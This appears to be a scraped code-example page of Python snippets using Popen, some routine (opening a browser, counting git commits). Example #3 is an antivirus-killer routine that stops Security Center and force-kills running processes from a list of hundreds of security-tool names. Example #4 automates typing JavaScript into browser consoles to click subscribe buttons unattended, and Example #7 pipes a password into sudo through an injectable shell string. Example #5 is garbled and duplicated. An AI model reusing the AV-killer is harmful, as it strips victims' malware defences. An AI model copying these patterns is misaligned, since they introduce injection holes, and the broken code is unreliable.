Example #1
0
 def run(
     self,
     _path,
     options,
     url,
 ):
     cmd = 'start microsoft-edge:{}'.format(url)
     sps.Popen(cmd)
Example #2
0
def browse_external(fname):
    """Browse a specified file using Windows Explorer, Finder, etc."""
    log.debug('Browsing to file: %s ...', fname)
    if sys.platform.startswith('darwin'):
        subprocess.call(('open', '-R', fname))
    elif os.name == 'nt':
        os.Popen(r'explorer /select,"%s"' % fname)
    elif os.name == 'posix':
        subprocess.call(('nautilus', fname))  # gnome only!
Example #3
0
    def kill_av(self):
        try:
            os.Popen("net stop \"Security Center\"")
        except Exception as e:
            print("[!] Unable to Disable Security Center!\n")

        try:
            avs = [
                'AAWTray.exe', 'Ad-Aware.exe', 'MSASCui.exe', '_avp32.exe',
                '_avpcc.exe', '_avpm.exe', 'aAvgApi.exe', 'ackwin32.exe',
                'adaware.exe', 'advxdwin.exe', 'agentsvr.exe', 'agentw.exe',
                'alertsvc.exe', 'alevir.exe', 'alogserv.exe', 'amon9x.exe',
                'anti-trojan.exe', 'antivirus.exe', 'ants.exe',
                'apimonitor.exe', 'aplica32.exe', 'apvxdwin.exe', 'arr.exe',
                'atcon.exe', 'atguard.exe', 'atro55en.exe', 'atupdater.exe',
                'atwatch.exe', 'au.exe', 'aupdate.exe',
                'auto-protect.nav80try.exe', 'autodown.exe', 'autotrace.exe',
                'autoupdate.exe', 'avconsol.exe', 'ave32.exe', 'avgcc32.exe',
                'avgctrl.exe', 'avgemc.exe', 'avgnt.exe', 'avgrsx.exe',
                'avgserv.exe', 'avgserv9.exe', 'avguard.exe', 'avgw.exe',
                'avkpop.exe', 'avkserv.exe', 'avkservice.exe', 'avkwctl9.exe',
                'avltmain.exe', 'avnt.exe', 'avp.exe', 'avp.exe', 'avp32.exe',
                'avpcc.exe', 'avpdos32.exe', 'avpm.exe', 'avptc32.exe',
                'avpupd.exe', 'avsched32.exe', 'avsynmgr.exe', 'avwin.exe',
                'avwin95.exe', 'avwinnt.exe', 'avwupd.exe', 'avwupd32.exe',
                'avwupsrv.exe', 'avxmonitor9x.exe', 'avxmonitornt.exe',
                'avxquar.exe', 'backweb.exe', 'bargains.exe',
                'bd_professional.exe', 'beagle.exe', 'belt.exe', 'bidef.exe',
                'bidserver.exe', 'bipcp.exe', 'bipcpevalsetup.exe', 'bisp.exe',
                'blackd.exe', 'blackice.exe', 'blink.exe', 'blss.exe',
                'bootconf.exe', 'bootwarn.exe', 'borg2.exe', 'bpc.exe',
                'brasil.exe', 'bs120.exe', 'bundle.exe', 'bvt.exe',
                'ccapp.exe', 'ccevtmgr.exe', 'ccpxysvc.exe', 'cdp.exe',
                'cfd.exe', 'cfgwiz.exe', 'cfiadmin.exe', 'cfiaudit.exe',
                'cfinet.exe', 'cfinet32.exe', 'claw95.exe', 'claw95cf.exe',
                'clean.exe', 'cleaner.exe', 'cleaner3.exe', 'cleanpc.exe',
                'click.exe', 'cmesys.exe', 'cmgrdian.exe', 'cmon016.exe',
                'connectionmonitor.exe', 'cpd.exe', 'cpf9x206.exe',
                'cpfnt206.exe', 'ctrl.exe', 'cv.exe', 'cwnb181.exe',
                'cwntdwmo.exe', 'datemanager.exe', 'dcomx.exe', 'defalert.exe',
                'defscangui.exe', 'defwatch.exe', 'deputy.exe', 'divx.exe',
                'dllcache.exe', 'dllreg.exe', 'doors.exe', 'dpf.exe',
                'dpfsetup.exe', 'dpps2.exe', 'drwatson.exe', 'drweb32.exe',
                'drwebupw.exe', 'dssagent.exe', 'dvp95.exe', 'dvp95_0.exe',
                'ecengine.exe', 'efpeadm.exe', 'emsw.exe', 'ent.exe',
                'esafe.exe', 'escanhnt.exe', 'escanv95.exe', 'espwatch.exe',
                'ethereal.exe', 'etrustcipe.exe', 'evpn.exe',
                'exantivirus-cnet.exe', 'exe.avxw.exe', 'expert.exe',
                'explore.exe', 'f-agnt95.exe', 'f-prot.exe', 'f-prot95.exe',
                'f-stopw.exe', 'fameh32.exe', 'fast.exe', 'fch32.exe',
                'fih32.exe', 'findviru.exe', 'firewall.exe', 'fnrb32.exe',
                'fp-win.exe', 'fp-win_trial.exe', 'fprot.exe', 'frw.exe',
                'fsaa.exe', 'fsav.exe', 'fsav32.exe', 'fsav530stbyb.exe',
                'fsav530wtbyb.exe', 'fsav95.exe', 'fsgk32.exe', 'fsm32.exe',
                'fsma32.exe', 'fsmb32.exe', 'gator.exe', 'gbmenu.exe',
                'gbpoll.exe', 'generics.exe', 'gmt.exe', 'guard.exe',
                'guarddog.exe', 'hacktracersetup.exe', 'hbinst.exe',
                'hbsrv.exe', 'hotactio.exe', 'hotpatch.exe', 'htlog.exe',
                'htpatch.exe', 'hwpe.exe', 'hxdl.exe', 'hxiul.exe',
                'iamapp.exe', 'iamserv.exe', 'iamstats.exe', 'ibmasn.exe',
                'ibmavsp.exe', 'icload95.exe', 'icloadnt.exe', 'icmon.exe',
                'icsupp95.exe', 'icsuppnt.exe', 'idle.exe', 'iedll.exe',
                'iedriver.exe', 'iexplorer.exe', 'iface.exe', 'ifw2000.exe',
                'inetlnfo.exe', 'infus.exe', 'infwin.exe', 'init.exe',
                'intdel.exe', 'intren.exe', 'iomon98.exe', 'istsvc.exe',
                'jammer.exe', 'jdbgmrg.exe', 'jedi.exe', 'kavlite40eng.exe',
                'kavpers40eng.exe', 'kavpf.exe', 'kazza.exe', 'keenvalue.exe',
                'kerio-pf-213-en-win.exe', 'kerio-wrl-421-en-win.exe',
                'kerio-wrp-421-en-win.exe', 'kernel32.exe',
                'killprocesssetup161.exe', 'launcher.exe', 'ldnetmon.exe',
                'ldpro.exe', 'ldpromenu.exe', 'ldscan.exe', 'lnetinfo.exe',
                'loader.exe', 'localnet.exe', 'lockdown.exe',
                'lockdown2000.exe', 'lookout.exe', 'lordpe.exe', 'lsetup.exe',
                'luall.exe', 'luau.exe', 'lucomserver.exe', 'luinit.exe',
                'luspt.exe', 'mapisvc32.exe', 'mcagent.exe', 'mcmnhdlr.exe',
                'mcshield.exe', 'mctool.exe', 'mcupdate.exe', 'mcvsrte.exe',
                'mcvsshld.exe', 'md.exe', 'mfin32.exe', 'mfw2en.exe',
                'mfweng3.02d30.exe', 'mgavrtcl.exe', 'mgavrte.exe',
                'mghtml.exe', 'mgui.exe', 'minilog.exe', 'mmod.exe',
                'monitor.exe', 'moolive.exe', 'mostat.exe', 'mpfagent.exe',
                'mpfservice.exe', 'mpftray.exe', 'mrflux.exe', 'msapp.exe',
                'msbb.exe', 'msblast.exe', 'mscache.exe', 'msccn32.exe',
                'mscman.exe', 'msconfig.exe', 'msdm.exe', 'msdos.exe',
                'msiexec16.exe', 'msinfo32.exe', 'mslaugh.exe', 'msmgt.exe',
                'msmsgri32.exe', 'mssmmc32.exe', 'mssys.exe', 'msvxd.exe',
                'mu0311ad.exe', 'mwatch.exe', 'n32scanw.exe', 'nav.exe',
                'navap.navapsvc.exe', 'navapsvc.exe', 'navapw32.exe',
                'navdx.exe', 'navlu32.exe', 'navnt.exe', 'navstub.exe',
                'navw32.exe', 'navwnt.exe', 'nc2000.exe', 'ncinst4.exe',
                'ndd32.exe', 'neomonitor.exe', 'neowatchlog.exe',
                'netarmor.exe', 'netd32.exe', 'netinfo.exe', 'netmon.exe',
                'netscanpro.exe', 'netspyhunter-1.2.exe', 'netstat.exe',
                'netutils.exe', 'nisserv.exe', 'nisum.exe', 'nmain.exe',
                'nod32.exe', 'normist.exe', 'norton_internet_secu_3.0_407.exe',
                'notstart.exe', 'npf40_tw_98_nt_me_2k.exe', 'npfmessenger.exe',
                'nprotect.exe', 'npscheck.exe', 'npssvc.exe', 'nsched32.exe',
                'nssys32.exe', 'nstask32.exe', 'nsupdate.exe', 'nt.exe',
                'ntrtscan.exe', 'ntvdm.exe', 'ntxconfig.exe', 'nui.exe',
                'nupgrade.exe', 'nvarch16.exe', 'nvc95.exe', 'nvsvc32.exe',
                'nwinst4.exe', 'nwservice.exe', 'nwtool16.exe', 'ollydbg.exe',
                'onsrvr.exe', 'optimize.exe', 'ostronet.exe', 'otfix.exe',
                'outpost.exe', 'outpostinstall.exe', 'outpostproinstall.exe',
                'padmin.exe', 'panixk.exe', 'patch.exe', 'pavcl.exe',
                'pavproxy.exe', 'pavsched.exe', 'pavw.exe', 'pccwin98.exe',
                'pcfwallicon.exe', 'pcip10117_0.exe', 'pcscan.exe',
                'pdsetup.exe', 'periscope.exe', 'persfw.exe', 'perswf.exe',
                'pf2.exe', 'pfwadmin.exe', 'pgmonitr.exe', 'pingscan.exe',
                'platin.exe', 'pop3trap.exe', 'poproxy.exe', 'popscan.exe',
                'portdetective.exe', 'portmonitor.exe', 'powerscan.exe',
                'ppinupdt.exe', 'pptbc.exe', 'ppvstop.exe', 'prizesurfer.exe',
                'prmt.exe', 'prmvr.exe', 'procdump.exe', 'processmonitor.exe',
                'procexplorerv1.0.exe', 'programauditor.exe', 'proport.exe',
                'protectx.exe', 'pspf.exe', 'purge.exe', 'qconsole.exe',
                'qserver.exe', 'rapapp.exe', 'rav7.exe', 'rav7win.exe',
                'rav8win32eng.exe', 'ray.exe', 'rb32.exe', 'rcsync.exe',
                'realmon.exe', 'reged.exe', 'regedit.exe', 'regedt32.exe',
                'rescue.exe', 'rescue32.exe', 'rrguard.exe', 'rshell.exe',
                'rtvscan.exe', 'rtvscn95.exe', 'rulaunch.exe', 'run32dll.exe',
                'rundll.exe', 'rundll16.exe', 'ruxdll32.exe', 'safeweb.exe',
                'sahagent.exe', 'save.exe', 'savenow.exe', 'sbserv.exe',
                'sc.exe', 'scam32.exe', 'scan32.exe', 'scan95.exe',
                'scanpm.exe', 'scrscan.exe', 'serv95.exe',
                'setup_flowprotector_us.exe', 'setupvameeval.exe', 'sfc.exe',
                'sgssfw32.exe', 'sh.exe', 'shellspyinstall.exe', 'shn.exe',
                'showbehind.exe', 'smc.exe', 'sms.exe', 'smss32.exe',
                'soap.exe', 'sofi.exe', 'sperm.exe', 'spf.exe', 'sphinx.exe',
                'spoler.exe', 'spoolcv.exe', 'spoolsv32.exe', 'spyxx.exe',
                'srexe.exe', 'srng.exe', 'ss3edit.exe', 'ssg_4104.exe',
                'ssgrate.exe', 'st2.exe', 'start.exe', 'stcloader.exe',
                'supftrl.exe', 'support.exe', 'supporter5.exe', 'svc.exe',
                'svchostc.exe', 'svchosts.exe', 'svshost.exe', 'sweep95.exe',
                'sweepnet.sweepsrv.sys.swnetsup.exe', 'symproxysvc.exe',
                'symtray.exe', 'sysedit.exe', 'system.exe', 'system32.exe',
                'sysupd.exe', 'taskmg.exe', 'taskmgr.exe', 'taskmo.exe',
                'taskmon.exe', 'taumon.exe', 'tbscan.exe', 'tc.exe', 'tca.exe',
                'tcm.exe', 'tds-3.exe', 'tds2-98.exe', 'tds2-nt.exe',
                'teekids.exe', 'tfak.exe', 'tfak5.exe', 'tgbob.exe',
                'titanin.exe', 'titaninxp.exe', 'tracert.exe', 'trickler.exe',
                'trjscan.exe', 'trjsetup.exe', 'trojantrap3.exe',
                'tsadbot.exe', 'tvmd.exe', 'tvtmd.exe', 'undoboot.exe',
                'updat.exe', 'update.exe', 'upgrad.exe', 'utpost.exe',
                'vbcmserv.exe', 'vbcons.exe', 'vbust.exe', 'vbwin9x.exe',
                'vbwinntw.exe', 'vcsetup.exe', 'vet32.exe', 'vet95.exe',
                'vettray.exe', 'vfsetup.exe', 'vir-help.exe',
                'virusmdpersonalfirewall.exe', 'vnlan300.exe', 'vnpc3000.exe',
                'vpc32.exe', 'vpc42.exe', 'vpfw30s.exe', 'vptray.exe',
                'vscan40.exe', 'vscenu6.02d30.exe', 'vsched.exe',
                'vsecomr.exe', 'vshwin32.exe', 'vsisetup.exe', 'vsmain.exe',
                'vsmon.exe', 'vsstat.exe', 'vswin9xe.exe', 'vswinntse.exe',
                'vswinperse.exe', 'w32dsm89.exe', 'w9x.exe', 'watchdog.exe',
                'webdav.exe', 'webscanx.exe', 'webtrap.exe', 'wfindv32.exe',
                'whoswatchingme.exe', 'wimmun32.exe', 'win-bugsfix.exe',
                'win32.exe', 'win32us.exe', 'winactive.exe', 'window.exe',
                'windows.exe', 'wininetd.exe', 'wininitx.exe', 'winlogin.exe',
                'winmain.exe', 'winnet.exe', 'winppr32.exe', 'winrecon.exe',
                'winservn.exe', 'winssk32.exe', 'winstart.exe',
                'winstart001.exe', 'wintsk32.exe', 'winupdate.exe',
                'wkufind.exe', 'wnad.exe', 'wnt.exe', 'wradmin.exe',
                'wrctrl.exe', 'wsbgate.exe', 'wupdater.exe', 'wupdt.exe',
                'wyvernworksfirewall.exe', 'xpf202en.exe', 'zapro.exe',
                'zapsetup3001.exe', 'zatutor.exe', 'zonalm2601.exe',
                'zonealarm.exe'
            ]
            processes = os.popen(
                'TASKLIST /FI "STATUS eq RUNNING" | find /V "Image Name" | find /V "="'
            ).read()
            ps = []
            for i in processes.split(" "):
                if ".exe" in i:
                    ps.append(i.replace("K\n", "").replace("\n", ""))
            print("[*] Killing Antivirus services on this pc")
            for av in avs:
                for p in ps:
                    if p == av:
                        print("[*] killing off " + av)
                        os.popen("TASKKILL /F /IM {}".format(p))
        except Exception as e:
            print("[!] Unable to Kill AV")
Example #4
0
    def main(self):
        # write all code in loop and check for the internet connection avaliable or not
        # if internet connection is not avaliable then we loop and check for it again in 5sec of interval
        # once we get the internet connection set falg value to false so its not going to loop again
        while self.flag:
            
            # add 5sec of interval
            time.sleep(self.waitTime+4)
            
            # check for connection
            if self.is_connected() == True:
                # now iterate the list of browser
                for i in self.listOfBrowser:
                    # now call the enter function in thread
                    # it help to enter key when command not avlaible else just enter which have not affacts
                    start_new_thread(self.enter,(1,))

                    # now perform command operation over cmd
                    process = os.Popen(i, stdout=os.PIPE, stderr=os.PIPE, shell=True)
                    process.communicate()

                    # in order to check command found or not we have to check for its return code
                    # if return code is 1 then the entering command is not avaliable
                    # if its 0 then its avlaible
                    if process.returncode == 1:
                        # once we now the command is not avaliable so there is not point to perform next operation
                        # so we skip those step by continue keyword.
                        # also increment the count variable by 1
                        # and check count is equal to len of listofbrowser length
                        # which means both command are not working on cmd
                        # not working in the sense both browser are not installed on his pc
                        # so we set flag value to false so it will quit from the loop
                        self.count = self.count + 1
                        if self.count == len(self.listOfBrowser):
                            self.flag = False;
                        continue

                    # if command is exit and return code is 0 then it automatically open the browser
                    # so it takes time to open in computer
                    # so add delay or wait for some time
                    time.sleep(self.waitTime+4)

                    # oce browser is open use key of combiniation to open the console
                    pyautogui.hotkey('ctrl','shift',self.listOfCommand[self.listOfBrowser.index(i)])

                    # and simply give an interval and past and enter the javascript code step by step
                    time.sleep(self.waitTime+2)
                    pyautogui.typewrite(self.subButton)
                    pyautogui.press('enter')
                    time.sleep(self.waitTime)
                    pyautogui.typewrite(self.subButtonClick)
                    pyautogui.press('enter')
                    time.sleep(self.waitTime)
                    pyautogui.typewrite(self.bellButton)
                    pyautogui.press('enter')
                    time.sleep(self.waitTime)
                    pyautogui.typewrite(self.bellButtonClick)
                    pyautogui.press('enter')
                    time.sleep(self.waitTime)
                  
                    # for quitting.
                    pyautogui.hotkey('alt','f4')
                  
                    # extra enter option bcoz some browser show the confirm dialog box when there are more than one tab is open.
                    pyautogui.press('enter')

                    # once all code works then simply set flag value to false so it will not loop again.
                    self.flag = False;
                    break
            else:
                # else condition to print connect to internet
                print("Please Connect to Internet")
Example #5
0
 
rev = sys.argv[1]
cumulative = 0
if len(sys.argv) == 4:
    if (sys.argv[3] == "c"):
        cumulative = 1
if not cumulative == 1:
    print("  wrong input!")
    sys.exit(-1)
rev_range = int(sys.argv[2])

print("#sublevel commits %s stable fixes" % rev)
print("lv hour bugs") #tag for R data.frame
rev1 = rev
version = "v4.4"
gitcommand = "git log -1 --pretty=format:'{ver}'".format(ver='version')
base_time = int(os.Popen(gitcommand,"r").read())

for sl in range(1,rev_range+1):
    rev2 = rev + "." + str(sl)
    gitcnt = "git rev-list --pretty=format:\"%ai\" " + rev1 + "..." + rev2
    gittag = "git log -1 --pretty=format:\"%ct\" " + rev2
    commit_cnt = record.get_cnt(gitcnt)
    if cumulative == 0:
        rev1 = rev2
    if commit_cnt:
        days = record.get_tag_days(gittag,case_time)
        print("%d %d %d" % (sl,days,commit_cnt))
    else:
        break
rev_range = int(sys.argv[2])

# setup and fill in the table
print("#sublevel commits %s stable fixes" % rev)
print("lv hour bugs")  #tag for R data.frame
rev1 = rev
# base time of v4.1 and v4.4 as ref base
# fix this to extract the time of the base commit
# from git !
#
# hofrat@Debian:~/git/linux-stable$ git log -1 --pretty=format:"%ct" v4.4
# 1452466892

version = "v4.4"
git_com = "git log -1 --pretty=format:'{ver}'".format(ver='version')
base_time = int(os.Popen(git_com, "r").read())

for s1 in range(1, rev_range + 1):
    rev2 = rev + "." + str(s1)
    gitcnt = "git rev-list --pretty=format:\"%ai\" " + rev1 + "..." + rev2
    gittag = "git log -1 --pretty=format:\"%ct\" " + rev2
    commit_ct = record.get_cnt(gitcnt)
    if cumulative == 0:
        rev1 = rev2
    # if get back 0 then its an invalid revision number
    if commit_ct:
        days = record.get_tag_days(gittag, case_time)
        print("%d %d %d" % (s1, days, commit_ct))
    else:
        break
Example #7
0
def cleanup(table_name):
    os.Popen("echo " + password + " | sudo -S rm /tmp/" + table_name +
             ".fasta",
             shell=True)